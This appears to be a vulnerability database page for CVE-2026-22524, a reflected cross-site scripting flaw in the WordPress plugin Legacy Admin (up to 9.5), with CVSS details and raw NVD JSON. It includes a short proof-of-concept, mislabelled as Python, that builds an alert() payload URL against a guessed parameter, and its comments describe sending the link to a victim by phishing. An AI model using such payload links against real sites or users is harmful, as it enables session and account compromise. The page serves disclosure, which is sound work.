Security Vulnerability Report
中文
CVE-2026-22524 CVSS 7.1 HIGH

CVE-2026-22524

Published: 2026-03-25 17:16:34
Last Modified: 2026-04-24 16:32:54

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in themepassion Legacy Admin legacy-admin allows Reflected XSS.This issue affects Legacy Admin: from n/a through <= 9.5.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Legacy Admin <= 9.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-22524 Reflected XSS --> <!-- Target: Legacy Admin Plugin <= 9.5 --> <!-- Usage: 1. Encode the payload below. 2. Append it to a vulnerable parameter in the Legacy Admin plugin URL. 3. Send the link to a victim. --> <html> <body> <h3>CVE-2026-22524 PoC Test</h3> <script> // Simple payload to demonstrate execution var xss_payload = '<img src=x onerror=alert("CVE-2026-22524_XSS")>'; // Example vulnerable endpoint (Actual parameter name may vary based on plugin code) // Assuming a parameter like 'search' or 'message' is vulnerable var target_url = 'http://target-wordpress-site/wp-admin/admin.php?page=legacy-admin-settings&vulnerable_param=' + encodeURIComponent(xss_payload); // Log the generated URL for manual testing or automated exploitation console.log("Exploit URL:", target_url); // In a real attack scenario, this would be used in a phishing link // window.location.href = target_url; document.write("Generated PoC URL: <a href='" + target_url + "' target='_blank'>Click to Test (if logged in)</a>"); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22524", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:34.497", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in themepassion Legacy Admin legacy-admin allows Reflected XSS.This issue affects Legacy Admin: from n/a through <= 9.5."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en themepassion Legacy Admin legacy-admin permite XSS Reflejado. Este problema afecta a Legacy Admin: desde n/a hasta &lt;= 9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/legacy-admin/vulnerability/wordpress-legacy-admin-plugin-9-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}